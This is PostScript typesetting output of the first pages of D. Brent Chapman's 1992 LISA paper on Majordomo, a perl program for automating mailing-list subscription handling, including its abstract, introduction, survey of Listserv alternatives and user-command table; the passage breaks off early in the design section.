/Acircumflex 181 /divide 190 +/brokenbar 192 /agrave 201 /eacute 204 /Ecircumflex 209 /adieresis +/egrave /onesuperior /trademark /iacute /Icircumflex /edieresis /igrave +] def +/specdwidth 0 def /LS 0 def +/setwidth {/specdwidth 1 def dup /LS exch def setlinewidth} def +/ft { /fonttype exch def /xsiz exch def /ysiz exch def /sl exch def + fonttype [ xsiz pt 0 sl sin sl cos div ysiz pt mul ysiz pt 0 0 ] + makefont setfont + specdwidth 0 eq {xsiz 4 div dup /LS exch def setlinewidth} if + setgray } def +/Z { specdwidth 0 eq {dup 4 div dup /LS exch def setlinewidth} if + pt scalefont setfont } bind def +/M { pgtop exch sub moveto } bind def +/L { pgtop exch sub lineto } bind def +/cbox { gsave 100 div setgray +currentpoint /nowy exch def /nowx exch def +/radius exch def /boxdown exch def /boxover exch def +currentpoint newpath moveto radius 0 rmoveto +nowx boxover add nowy nowx boxover add nowy boxdown sub radius arcto +pop pop pop pop +nowx boxover add nowy boxdown sub nowx nowy boxdown sub radius arcto +pop pop pop pop +nowx nowy boxdown sub nowx nowy radius arcto pop pop pop pop +nowx nowy nowx boxover add nowy radius arcto pop pop pop pop +currentgray 1.0 ne { gsave fill grestore } if 0 setgray stroke +grestore } bind def +/f.Y /RBKFont findfont def + +0 Y +save +%%EndProlog + +0 Y +%%Page: 1 1 +pagetop +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +0.00 0.0 10 10 f.R ft +672 X +521 Y +722 X +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 22 Z(Majordomo:)s +1567 X(How)s +1908 X(I)s +2013 X(Manage)s +2565 X(17)s +2759 X(Mailing)s +3296 X(Lists)s +672 X +667 Y +1006 X(Without)s +1575 X(Answering)s +2298 X(")s +2379 X(-request")s +3020 X(Mail)s +600 X +835 Y +1419 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 12 Z(D)s +1477 X(.)s +1523 X(Brent)s +1727 X(Chapman)s +2064 X(\261)s +2130 X +f.R 12 Z(Great)s +2335 X(Circle)s +2557 X(Associates)s +840 X +1011 Y +1912 X +f.B 12 Z(ABSTRACT)s +840 X +1145 Y +984 X +f.R 10 Z(Majordomo)s +1339 X(is)s +1425 X(a)s +1496 X(perl)s +1642 X(program)s +1909 X(written)s +2141 X(to)s +2235 X(handle)s +2455 X(routine)s +2686 X(administration)s +3115 X(of)s +3212 X(Internet)s +840 X +1218 Y(mailing)s +1086 X(lists)s +1236 X(with)s +1396 X(as)s +1493 X(little)s +1659 X(human)s +1881 X(intervention)s +2245 X(as)s +2342 X(possible)s +2561 X(.)s +2641 X(Modeled)s +2919 X(after)s +3082 X(the)s +3204 X(Listserv)s +840 X +1291 Y(implementation)s +1261 X(s)s +1316 X(common)s +1578 X(on)s +1673 X(BITNET)s +1939 X(\(but)s +2075 X(unfortunately)s +2463 X(rare)s +2596 X(on)s +2691 X(the)s +2803 X(Internet\),)s +3080 X(it)s +3148 X(automates)s +840 X +1364 Y(the)s +948 X(administration)s +1361 X(of)s +1441 X(mailing)s +1671 X(lists)s +1805 X(by)s +1896 X(allowing)s +2155 X(users)s +2317 X(to)s +2394 X(perform)s +2633 X(the)s +2740 X(most)s +2895 X(frequent)s +3142 X(operations)s +840 X +1437 Y(\("subscribe")s +1218 X(and)s +1364 X("unsubscribe"\))s +1808 X(themselves,)s +2173 X(while)s +2372 X(allowing)s +2656 X(the)s +2788 X(list)s +2921 X(owners)s +3164 X(to)s +3267 X(either)s +840 X +1510 Y("approve")s +1135 X(each)s +1285 X(of)s +1367 X(these)s +1532 X(operations)s +1837 X(\(or)s +1941 X(initiate)s +2156 X(them)s +2317 X(on)s +2410 X(behalf)s +2603 X(of)s +2684 X(a)s +2740 X(user\),)s +2916 X(or)s +2997 X(merely)s +3209 X(monitor)s +840 X +1583 Y(them)s +1016 X(as)s +1115 X(they)s +1273 X(are)s +1398 X(automatically)s +1807 X(approved)s +2054 X(.)s +2136 X(It)s +2220 X(also)s +2371 X(automates)s +2686 X(response)s +2962 X(to)s +3057 X(certain)s +3283 X(other)s +840 X +1656 Y(common)s +1109 X(queries)s +1338 X(from)s +1502 X(users,)s +1691 X(such)s +1848 X(as)s +1939 X("what)s +2131 X(lists)s +2275 X(are)s +2392 X(served)s +2601 X(by)s +2702 X(this)s +2834 X(Majordomo)s +3183 X(server?",)s +840 X +1729 Y("what)s +1031 X(is)s +1110 X(the)s +1226 X(topic)s +1394 X(of)s +1483 X(list)s +1600 X('foobar'?",)s +1925 X("who)s +2100 X(is)s +2179 X(already)s +2410 X(on)s +2511 X(list)s +2629 X('foobar'?",)s +2955 X(and)s +3086 X("which)s +3311 X(lists)s +840 X +1802 Y(managed)s +1103 X(by)s +1191 X(this)s +1310 X(Majordomo)s +1646 X(server)s +1831 X(am)s +1935 X(I)s +1979 X(already)s +2198 X(on?")s +2321 X(.)s +840 X +1896 Y +984 X(Majordomo)s +1336 X(allows)s +1549 X(individual)s +1858 X(list)s +1979 X(owners)s +2210 X(to)s +2301 X(manage)s +2548 X(their)s +2710 X(own)s +2863 X(lists)s +3011 X(\(subscribe)s +3324 X(and)s +840 X +1969 Y(unsubscribe)s +1192 X(users,)s +1379 X(and)s +1508 X(change)s +1730 X(the)s +1845 X(general)s +2075 X(information)s +2423 X(message)s +2683 X(for)s +2793 X(their)s +2949 X(list\))s +3087 X(without)s +3324 X(any)s +840 X +2042 Y(action)s +1035 X(by)s +1132 X(the)s +1245 X(overall)s +1462 X(Majordomo)s +1807 X(owner)s +1973 X(.)s +2043 X(It)s +2115 X(serves)s +2313 X(both)s +2462 X("open")s +2676 X(lists)s +2816 X(\(where)s +3032 X(users)s +3200 X(can)s +3324 X(add)s +840 X +2115 Y(themselves)s +1162 X(to)s +1238 X(the)s +1344 X(list,)s +1468 X(and)s +1588 X(the)s +1694 X(list)s +1801 X(owner)s +1991 X(is)s +2060 X(merely)s +2270 X(informed)s +2537 X(of)s +2615 X(this)s +2735 X(action\))s +2944 X(and)s +3063 X("closed")s +3311 X(lists)s +840 X +2188 Y(\(where)s +1048 X(a)s +1101 X(subscription)s +1450 X(request)s +1667 X(from)s +1820 X(a)s +1874 X(user)s +2009 X(generates)s +2286 X(an)s +2373 X(approval)s +2630 X(request)s +2847 X(from)s +3000 X(the)s +3106 X(Majordomo)s +840 X +2261 Y(server)s +1025 X(to)s +1099 X(the)s +1203 X(list)s +1308 X(owner,)s +1513 X(who)s +1649 X(can)s +1764 X(then)s +1901 X(either)s +2076 X(approve)s +2312 X(or)s +2389 X(ignore)s +2581 X(the)s +2685 X(request\))s +2900 X(.)s +840 X +2355 Y +984 X(Finally,)s +1213 X(all)s +1303 X(interactions)s +1639 X(with)s +1781 X(Majordomo)s +2118 X(by)s +2207 X(both)s +2348 X(users)s +2508 X(and)s +2627 X(list)s +2733 X(owners)s +2948 X(take)s +3083 X(place)s +3248 X(totally)s +840 X +2428 Y(by)s +940 X(electronic)s +1239 X(mail,)s +1410 X(so)s +1503 X(users)s +1674 X(and)s +1804 X(list)s +1921 X(owners)s +2147 X(do)s +2247 X(not)s +2366 X(require)s +2589 X(login)s +2760 X(access)s +2965 X(\(nor)s +3108 X(even)s +3267 X(direct)s +840 X +2501 Y(TCP/IP)s +1062 X(connectivity\))s +1437 X(to)s +1511 X(the)s +1615 X(machine)s +1864 X(Majordomo)s +2200 X(is)s +2267 X(running)s +2495 X(on,)s +2600 X(and)s +2718 X(no)s +2807 X(special)s +3017 X(client)s +3190 X(software)s +840 X +2574 Y(is)s +907 X(required)s +1129 X(.)s +600 X +2720 Y +1150 X +f.B 10 Z(Introduction)s +600 X +2829 Y +744 X +f.R 10 Z(Anyone)s +994 X(who)s +1148 X(has)s +1277 X(ever)s +1432 X(managed)s +1714 X(a)s +1785 X(signi\256cant)s +600 X +2902 Y(electronic)s +906 X(mailing)s +1151 X(list)s +1274 X(by)s +1380 X(hand)s +1549 X(\(which)s +1774 X(is,)s +1876 X(on)s +1982 X(the)s +600 X +2975 Y(Internet)s +831 X(at)s +903 X(least,)s +1067 X(the)s +1172 X(usual)s +1336 X(method\))s +1581 X(knows)s +1778 X(how)s +1916 X(much)s +600 X +3048 Y(time)s +757 X(it)s +831 X(takes)s +1005 X(to)s +1093 X(process)s +1329 X(the)s +1447 X(endless)s +1680 X(requests)s +1935 X(from)s +600 X +3121 Y(users)s +762 X(of)s +842 X(the)s +950 X(form)s +1105 X("please)s +1326 X(subscribe)s +1604 X(me)s +1712 X(to)s +1790 X(your)s +1937 X(list",)s +600 X +3194 Y("please)s +825 X(unsubscribe)s +1173 X(me)s +1285 X(from)s +1444 X(your)s +1595 X(list",)s +1752 X("please)s +1977 X(tell)s +600 X +3267 Y(me)s +704 X(about)s +874 X(your)s +1017 X(list",)s +1166 X("please)s +1383 X(tell)s +1492 X(me)s +1596 X(if)s +1659 X(I'm)s +1778 X(already)s +1998 X(on)s +600 X +3340 Y(your)s +748 X(list",)s +902 X(and)s +1025 X(so)s +1111 X(forth)s +1240 X(.)s +1306 X(It's)s +1421 X(a)s +1477 X(time)s +1597 X(-consuming,)s +1954 X(bor-)s +600 X +3413 Y(ing,)s +724 X(repetitive)s +1000 X(task;)s +1149 X(just)s +1268 X(the)s +1372 X(sort)s +1494 X(of)s +1572 X(thing)s +1732 X(that's)s +1904 X(a)s +1957 X(per-)s +600 X +3486 Y(fect)s +723 X(candidate)s +1002 X(to)s +1076 X(be)s +1161 X(automated)s +1440 X(.)s +600 X +3580 Y +744 X(When)s +926 X(SAGE)s +1123 X(\(the)s +1250 X(System)s +1470 X(Administrators)s +1895 X(Guild,)s +600 X +3653 Y(a)s +668 X(USENIX)s +949 X(Special)s +1184 X(Technical)s +1486 X(Group\))s +1714 X(was)s +1855 X(formed,)s +600 X +3726 Y(the)s +718 X(founding)s +993 X(members)s +1274 X(decided)s +1518 X(to)s +1607 X(establish)s +1879 X(over)s +2034 X(a)s +600 X +3799 Y(dozen)s +785 X(mailing)s +1016 X(lists)s +1151 X(for)s +1254 X(various)s +1476 X(purposes)s +1737 X(\(one)s +1880 X(for)s +1982 X(the)s +600 X +3872 Y(board)s +789 X(of)s +883 X(directors,)s +1173 X(one)s +1308 X(for)s +1424 X(each)s +1586 X(of)s +1680 X(the)s +1801 X(16)s +1906 X(initial)s +600 X +3945 Y(working)s +857 X(groups,)s +1090 X(one)s +1221 X(the)s +1338 X(chairs)s +1533 X(of)s +1623 X(all)s +1726 X(the)s +1843 X(working)s +600 X +4018 Y(groups,)s +840 X(and)s +979 X(so)s +1081 X(forth\))s +1232 X(.)s +1314 X(The)s +1461 X(USENIX)s +1748 X(Association)s +600 X +4091 Y(volunteered)s +950 X(the)s +1066 X(USENIX)s +1310 X(.ORG)s +1501 X(machine)s +1762 X(as)s +1852 X(a)s +1916 X(home)s +600 X +4164 Y(for)s +720 X(these)s +901 X(mailing)s +1149 X(lists,)s +1318 X(but)s +1446 X(didn't)s +1649 X(have)s +1819 X(the)s +1945 X(staff)s +600 X +4237 Y(resources)s +882 X(to)s +964 X(set)s +1069 X(up)s +1165 X(and)s +1291 X(operate)s +1518 X(the)s +1630 X(mailing)s +1865 X(lists)s +1974 X(.)s +2042 X(I)s +600 X +4310 Y(volunteered)s +938 X(to)s +1013 X(act)s +1115 X(as)s +1194 X(Postmaster)s +1511 X(for)s +1611 X(SAGE,)s +1826 X(and)s +1946 X(han-)s +600 X +4383 Y(dle)s +710 X(all)s +806 X(the)s +916 X(mailing)s +1149 X(lists)s +1258 X(.)s +1324 X(As)s +1425 X(an)s +1515 X(independent)s +1868 X(consul-)s +600 X +4456 Y(tant,)s +740 X(my)s +847 X(schedule)s +1103 X(is)s +1170 X(rather)s +1348 X(erratic,)s +1559 X(and)s +1677 X(I)s +1722 X(don't)s +1885 X(have)s +2034 X(a)s +600 X +4529 Y(company)s +872 X(paying)s +1081 X(my)s +1194 X(salary)s +1382 X(while)s +1559 X(I)s +1608 X(pursue)s +1812 X(volunteer)s +600 X +4602 Y(work)s +761 X(like)s +887 X(this;)s +1028 X(thus,)s +1181 X(I)s +1228 X(wished)s +1442 X(to)s +1519 X(automate)s +1790 X(the)s +1897 X(job)s +2008 X(as)s +600 X +4675 Y(much)s +787 X(as)s +881 X(possible,)s +1155 X(so)s +1252 X(that)s +1391 X(I)s +1451 X(could)s +1637 X(provide)s +1878 X(a)s +1946 X(high)s +600 X +4748 Y(level)s +794 X(of)s +912 X(service)s +1166 X(to)s +1282 X(the)s +1428 X(users)s +1629 X(\(including)s +1967 X(fast)s +2256 X +2720 Y(turnaround)s +2572 X(on)s +2663 X(their)s +2811 X(requests\))s +3077 X(while)s +3251 X(spending)s +3515 X(as)s +3595 X(little)s +2256 X +2793 Y(time)s +2400 X(as)s +2480 X(possible)s +2723 X(in)s +2800 X(the)s +2907 X(long)s +3050 X(run)s +3163 X(on)s +3254 X(administrivia)s +3608 X(.)s +3672 X(A)s +2256 X +2866 Y(BITNET)s +2493 X(-style)s +2672 X(Listserv)s +2918 X(seemed)s +3149 X(to)s +3231 X(be)s +3324 X(an)s +3416 X(appropriate)s +2256 X +2939 Y(solution,)s +2510 X(so)s +2591 X(I)s +2635 X(started)s +2836 X(investigating)s +3204 X(alternatives)s +3514 X(.)s +2256 X +3066 Y +2678 X +f.B 10 Z(De\256ning)s +2941 X(the)s +3052 X(Problem)s +2256 X +3175 Y +2400 X +f.R 10 Z(The)s +2538 X(\256rst)s +2676 X(step)s +2818 X(was)s +2956 X(to)s +3042 X(identify)s +3284 X(just)s +3415 X(what)s +3580 X(func-)s +2256 X +3248 Y(tionality)s +2523 X(I)s +2588 X(desired)s +2781 X(.)s +2863 X(First)s +3029 X(and)s +3167 X(foremost,)s +3463 X(I)s +3527 X(wanted)s +2256 X +3321 Y(something)s +2559 X(that)s +2685 X(would)s +2876 X(handle)s +3079 X(routine)s +3293 X("subscribe")s +3624 X(and)s +2256 X +3394 Y("unsubscribe")s +2653 X(requests)s +2897 X(automatically,)s +3305 X(with)s +3449 X(no)s +3539 X(human)s +2256 X +3467 Y(intervention)s +2613 X(required)s +2869 X(for)s +2980 X(routine)s +3203 X(requests)s +3457 X(\(though)s +3698 X(I)s +2256 X +3540 Y(wanted)s +2478 X(to)s +2559 X(give)s +2703 X(the)s +2814 X(owner)s +3009 X(of)s +3093 X(a)s +3152 X(given)s +3329 X(list)s +3440 X(the)s +3550 X(option)s +2256 X +3613 Y(of)s +2338 X(passing)s +2565 X(judgement)s +2874 X(on)s +2967 X(all)s +3062 X(subscription)s +3415 X(requests,)s +3679 X(if)s +2256 X +3686 Y(they)s +2404 X(so)s +2496 X(desired\))s +2711 X(.)s +2783 X(Second,)s +3029 X(I)s +3084 X(wanted)s +3309 X(something)s +3619 X(that)s +2256 X +3759 Y(could)s +2443 X(easily)s +2639 X(handle)s +2856 X(many)s +3043 X(mailing)s +3288 X(lists)s +3437 X(simultane-)s +2256 X +3832 Y(ously;)s +2451 X(I)s +2505 X(had)s +2633 X(17)s +2731 X(to)s +2815 X(begin)s +2995 X(with,)s +3162 X(and)s +3289 X(I)s +3342 X(was)s +3477 X(sure)s +3619 X(that)s +2256 X +3905 Y(more)s +2437 X(would)s +2648 X(be)s +2756 X(added)s +2960 X(as)s +3061 X(time)s +3226 X(passed)s +3404 X(.)s +3488 X(Third,)s +3698 X(I)s +2256 X +3978 Y(wanted)s +2489 X(something)s +2807 X(that)s +2948 X(could)s +3136 X(automatically)s +3542 X(handle)s +2256 X +4051 Y(other)s +2430 X(user)s +2578 X(requests)s +2834 X(\(such)s +3015 X(as)s +3108 X("what)s +3302 X(lists)s +3448 X(are)s +3567 X(avail-)s +2256 X +4124 Y(able?",)s +2489 X("please)s +2731 X(tell)s +2865 X(me)s +2994 X(about)s +3188 X(list)s +3317 X('foobar'",)s +3624 X(and)s +2256 X +4197 Y("which)s +2469 X(of)s +2547 X(your)s +2691 X(lists)s +2823 X(am)s +2928 X(I)s +2974 X(on?"\))s +3143 X(that,)s +3285 X(while)s +3458 X(less)s +3583 X(com-)s +2256 X +4270 Y(mon)s +2406 X(than)s +2553 X("subscribe")s +2891 X(and)s +3019 X("unsubscribe",)s +3439 X(still)s +3572 X(occur)s +2256 X +4343 Y(relatively)s +2532 X(frequently)s +2806 X(.)s +2256 X +4437 Y +2400 X(The)s +2533 X(\256rst)s +2666 X(thing)s +2832 X(I)s +2883 X(did)s +2998 X(was)s +3132 X(look)s +3280 X(around)s +3494 X(for)s +3601 X(suit-)s +2256 X +4510 Y(able)s +2403 X(publicly)s +2657 X(available)s +2934 X(software)s +3198 X(that)s +3333 X(might)s +3523 X(already)s +2256 X +4583 Y(exist,)s +2430 X(or)s +2515 X(that)s +2646 X(might)s +2832 X(be)s +2925 X(easily)s +3113 X(adapted)s +3352 X(to)s +3435 X(my)s +3551 X(needs)s +3703 X(.)s +2256 X +4656 Y(Searches)s +2524 X(of)s +2609 X(the)s +2721 X(common)s +2984 X(Internet)s +3221 X(software)s +3480 X(archives,)s +2256 X +4729 Y(queries)s +2490 X(to)s +2583 X(the)s +2706 X("Archie")s +2983 X(anonymous)s +3330 X(FTP)s +3487 X(indexing)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(135)s +5280 Y +pagebot + +%%Page: 136 2 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(service,)s +605 X(and)s +739 X(email)s +927 X(to)s +1017 X(certain)s +1238 X(acquaintances)s +1651 X(who)s +1802 X(I)s +360 X +521 Y(thought)s +592 X(might)s +777 X(know)s +953 X(of)s +1037 X(such)s +1188 X(software)s +1447 X(produced)s +1724 X(two)s +360 X +594 Y(results:)s +587 X(an)s +683 X(implementation)s +1137 X(of)s +1225 X(the)s +1339 X(BITNET)s +1608 X(Listserv)s +360 X +667 Y(written)s +578 X(in)s +659 X(C)s +732 X(for)s +838 X(UNIX)s +1033 X(\(from)s +1213 X(the)s +1324 X(comp)s +1472 X(.sources)s +1689 X(.unix)s +360 X +740 Y(archives\),)s +674 X(and)s +822 X(several)s +1063 X(different)s +1344 X(programs)s +1646 X(named)s +360 X +813 Y("listserv")s +630 X(written)s +842 X(in)s +916 X(perl)s +1020 X(.)s +360 X +907 Y +504 X(I)s +555 X(\256rst)s +688 X(examined)s +977 X(the)s +1089 X(BITNET)s +1356 X(Listserv)s +1602 X(C)s +1676 X(pack-)s +360 X +980 Y(age)s +479 X(from)s +634 X(the)s +742 X(comp)s +890 X(.sources)s +1107 X(.unix)s +1268 X(newsgroup)s +1584 X(archives)s +1807 X(.)s +360 X +1053 Y(It)s +433 X(looked)s +646 X(like)s +779 X(it)s +849 X(would)s +1047 X(do)s +1145 X(most)s +1308 X(of)s +1396 X(what)s +1559 X(I)s +1614 X(wanted,)s +360 X +1126 Y(but)s +473 X(it)s +539 X(also)s +675 X(looked)s +884 X(like)s +1012 X(it)s +1077 X(did)s +1189 X(a)s +1246 X(lot)s +1344 X(of)s +1426 X(things)s +1616 X(I)s +1665 X(didn't)s +360 X +1199 Y(really)s +544 X(care)s +687 X(about)s +866 X(\(there)s +1053 X(appeared)s +1325 X(to)s +1408 X(be)s +1503 X(features)s +1747 X(for)s +360 X +1272 Y(coordinating)s +752 X(activities)s +1051 X(between)s +1329 X(multiple)s +1608 X(Listserv)s +360 X +1345 Y(servers)s +600 X(on)s +717 X(different)s +999 X(machines,)s +1321 X(for)s +1450 X(instance\))s +1692 X(.)s +1783 X(It)s +360 X +1418 Y(appeared)s +636 X(to)s +723 X(be)s +821 X(rather)s +1012 X(short)s +1180 X(on)s +1280 X(documentation,)s +1728 X(and)s +360 X +1491 Y(what)s +531 X(documentation)s +969 X(there)s +1144 X(was)s +1290 X(seemed)s +1533 X(to)s +1627 X(assume)s +360 X +1564 Y(that)s +496 X(the)s +613 X(reader)s +815 X(was)s +954 X(already)s +1186 X(familiar)s +1434 X(with)s +1587 X(BITNET)s +360 X +1637 Y(Listserv)s +601 X(implementation)s +1047 X(and)s +1168 X(operation)s +1420 X(.)s +1485 X(All)s +1597 X(in)s +1675 X(all,)s +1786 X(it)s +360 X +1710 Y(looked)s +574 X(like)s +708 X(it)s +779 X(would)s +978 X(be)s +1073 X(a)s +1135 X(real)s +1268 X(headache)s +1549 X(for)s +1658 X(me)s +1772 X(to)s +360 X +1783 Y(install,)s +570 X(con\256gure,)s +867 X(and)s +992 X(maintain,)s +1273 X(since)s +1440 X(I'm)s +1565 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(not)s +1679 X +f.R 10 Z(fami-)s +360 X +1856 Y(liar)s +507 X(with)s +683 X(BITNET)s +977 X(Listserv)s +1250 X(implementation)s +1728 X(and)s +360 X +1929 Y(operation)s +612 X(.)s +360 X +3599 Y +3120 0 l +360 X +3695 Y +562 X +f.B 10 Z(Command)s +1357 X(Description)s +360 X +3725 Y +562 X +f.R 10 Z +2715 0 l +360 X +3789 Y +1357 X(Subscribe)s +1642 X(yourself)s +1882 X(\(or)s +1981 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2227 X(if)s +2290 X(speci\256ed\))s +2572 X(to)s +2646 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(subscribe)s +836 X +f.I 10 Z(list)s +941 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +3882 Y +1357 X(Unsubscribe)s +1712 X(yourself)s +1952 X(\(or)s +2051 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2297 X(if)s +2360 X(speci\256ed\))s +2642 X(from)s +2793 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(unsubscribe)s +902 X +f.I 10 Z(list)s +1007 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +3975 Y +1357 X(Find)s +1501 X(out)s +1608 X(which)s +1793 X(lists)s +1924 X(you)s +2045 X(\(or)s +2144 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2390 X(if)s +2453 X(speci\256ed\))s +2735 X(are)s +2839 X(on)s +360 X +562 X(which)s +747 X([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +4068 Y +1357 X(Show)s +1530 X(the)s +1634 X(members)s +1901 X(of)s +1978 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(who)s +698 X +f.I 10 Z(list)s +360 X +4161 Y +1357 X +f.R 10 Z(Show)s +1530 X(the)s +1634 X(general)s +1853 X(introductory)s +2204 X(information)s +2541 X(for)s +2640 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(info)s +691 X +f.I 10 Z(list)s +360 X +4254 Y +1357 X +f.R 10 Z(Show)s +1530 X(the)s +1634 X(lists)s +1765 X(handled)s +1998 X(by)s +2086 X(this)s +2205 X(Majordomo)s +2541 X(server)s +360 X +562 X(lists)s +360 X +4347 Y +1357 X(Retrieve)s +1606 X(a)s +1658 X(help)s +1795 X(message,)s +2061 X(explaining)s +2365 X(these)s +2525 X(commands)s +360 X +562 X(help)s +360 X +4440 Y +1357 X(Stop)s +1506 X(processing)s +1818 X(commands)s +2134 X(\(useful)s +2346 X(if)s +2414 X(your)s +2562 X(mailer)s +2761 X(automatically)s +3155 X(adds)s +360 X +4520 Y +1357 X(a)s +1409 X(signature)s +1676 X(to)s +1750 X(your)s +1893 X(messages\))s +360 X +4440 Y +562 X(end)s +360 X +4685 Y +1387 X +f.B 10 Z(Figure)s +1599 X(1)s +f.R 10 Z(:)s +1695 X(Majordomo)s +2031 X(user)s +2164 X(commands)s +360 X +2023 Y +504 X(The)s +640 X(next)s +787 X(things)s +983 X(I)s +1038 X(looked)s +1252 X(at)s +1334 X(were)s +1497 X(several)s +1720 X(perl)s +360 X +2096 Y(scripts)s +578 X(from)s +750 X(a)s +823 X(variety)s +1052 X(of)s +1150 X(sources)s +1393 X(that)s +1537 X(were)s +1710 X(sup-)s +360 X +2169 Y(posedly)s +595 X(Listserv)s +811 X(-like)s +962 X(servers)s +1151 X(.)s +1218 X(Some)s +1398 X(of)s +1482 X(these)s +1649 X(scripts)s +360 X +2242 Y(were)s +528 X(pointed)s +766 X(out)s +888 X(to)s +977 X(me)s +1096 X(by)s +1199 X(folks)s +1369 X(on)s +1472 X(the)s +1591 X(net)s +1710 X(who)s +360 X +2315 Y(knew)s +537 X(I)s +592 X(was)s +729 X(looking)s +965 X(for)s +1076 X(such)s +1232 X(a)s +1296 X(thing,)s +1484 X(and)s +1614 X(I)s +1670 X(found)s +360 X +2388 Y(others)s +565 X(by)s +673 X(searching)s +971 X(through)s +1218 X(Archie)s +1441 X(for)s +1559 X("listserv")s +1807 X(.)s +360 X +2461 Y(Unfortunately,)s +778 X(these)s +943 X(various)s +1166 X(scripts)s +1368 X(all)s +1463 X(turned)s +1660 X(out)s +1772 X(to)s +360 X +2534 Y(be)s +457 X(more)s +628 X(what)s +792 X(I'd)s +903 X(call)s +1035 X("archive)s +1293 X(servers")s +1543 X(than)s +1692 X("list-)s +360 X +2607 Y(serv")s +537 X(implementations)s +984 X(;)s +1042 X(they)s +1196 X(were)s +1365 X(written)s +1595 X(to)s +1687 X(auto-)s +360 X +2680 Y(mate)s +524 X(retrieval)s +781 X(of)s +869 X(\256les)s +1014 X(from)s +1176 X(archives)s +1432 X(via)s +1547 X(email,)s +1747 X(for)s +360 X +2753 Y(folks)s +534 X(who)s +689 X(don't)s +870 X(have)s +1037 X(access)s +1250 X(to)s +1344 X(anonymous)s +1692 X(FTP)s +1807 X(.)s +360 X +2826 Y(When)s +550 X(I)s +603 X(examined)s +894 X(one)s +1021 X(of)s +1107 X(these)s +1275 X(scripts)s +1480 X(that)s +1611 X(claimed)s +360 X +2899 Y(to)s +442 X(support)s +671 X("subscribe")s +1007 X(and)s +1133 X("unsubscribe")s +1535 X(requests,)s +1802 X(I)s +360 X +2972 Y(found)s +547 X(that)s +681 X(what)s +844 X(it)s +915 X(did)s +1033 X(with)s +1184 X(such)s +1338 X(requests)s +1589 X(was)s +1725 X(for-)s +360 X +3045 Y(ward)s +528 X(them)s +697 X(by)s +798 X(email)s +983 X(to)s +1070 X(the)s +1187 X(mailing)s +1427 X(list)s +1545 X(owner)s +1747 X(for)s +360 X +3118 Y(manual)s +584 X(processing;)s +915 X(this)s +1039 X(was)s +1170 X(exactly)s +1391 X(what)s +1548 X(I)s +1597 X(was)s +1728 X(try-)s +360 X +3191 Y(ing)s +467 X(to)s +541 X(avoid!)s +360 X +3285 Y +504 X(In)s +596 X(the)s +715 X(end,)s +866 X(I)s +926 X(decided)s +1172 X(to)s +1262 X(implement)s +1587 X(my)s +1710 X(own)s +360 X +3358 Y(version)s +579 X(of)s +657 X(Listserv,)s +912 X(so)s +993 X(that)s +1116 X(I)s +1160 X(could)s +1330 X(get)s +1434 X(exactly)s +1650 X(what)s +1802 X(I)s +360 X +3431 Y(wanted)s +553 X(.)s +615 X(The)s +742 X(name)s +910 X(for)s +1010 X(my)s +1118 X(software)s +1371 X(was)s +1498 X(provided)s +1758 X(by)s +360 X +3504 Y(Eliot)s +529 X(Lear)s +689 X(of)s +781 X(Silicon)s +1008 X(Graphics,)s +1303 X(Inc)s +1388 X(.;)s +1461 X(he)s +1561 X(suggested)s +2016 X +448 Y("majordomo",)s +2417 X(which)s +2603 X(the)s +2708 X(dictionary)s +3002 X(de\256nes)s +3214 X(as)s +3293 X("a)s +3373 X(per-)s +2016 X +521 Y(son)s +2162 X(who)s +2330 X(speaks,)s +2579 X(makes)s +2804 X(arrangements,)s +3234 X(or)s +3342 X(takes)s +2016 X +594 Y(charge)s +2244 X(for)s +2371 X(another",)s +2666 X(and)s +2813 X(which)s +3027 X(seems)s +3242 X(perfectly)s +2016 X +667 Y(appropriate)s +2342 X(given)s +2512 X(the)s +2616 X(nature)s +2805 X(of)s +2882 X(the)s +2986 X(software)s +3216 X(.)s +2016 X +794 Y +2450 X +f.B 10 Z(Designing)s +2754 X(a)s +2809 X(Solution)s +2016 X +903 Y +2160 X +f.R 10 Z(My)s +2290 X(\256rst)s +2432 X(step)s +2578 X(in)s +2668 X(designing)s +2965 X(a)s +3033 X(solution)s +3286 X(was)s +3428 X(to)s +2016 X +976 Y(decide)s +2218 X(on)s +2311 X(the)s +2420 X(general)s +2644 X(approach)s +2915 X(I)s +2964 X(was)s +3095 X(going)s +3273 X(to)s +3351 X(take)s +3463 X(.)s +2016 X +1049 Y(First,)s +2199 X(I)s +2264 X(decided)s +2515 X(that)s +2659 X(all)s +2771 X(routine)s +3004 X(interactions)s +3361 X(with)s +2016 X +1122 Y(Majordomo)s +2377 X(would)s +2589 X(take)s +2747 X(place)s +2935 X(asynchronously)s +3398 X(via)s +2016 X +1195 Y(email)s +2166 X(.)s +2248 X(Second,)s +2504 X(since)s +2685 X(the)s +2811 X(software)s +3085 X(was)s +3233 X(going)s +3428 X(to)s +2016 X +1268 Y(spend)s +2200 X(most)s +2359 X(of)s +2443 X(its)s +2536 X(time)s +2685 X(parsing)s +2910 X(emailed)s +3151 X(instructions,)s +2016 X +1341 Y(processing)s +2324 X(text)s +2448 X(\256les)s +2583 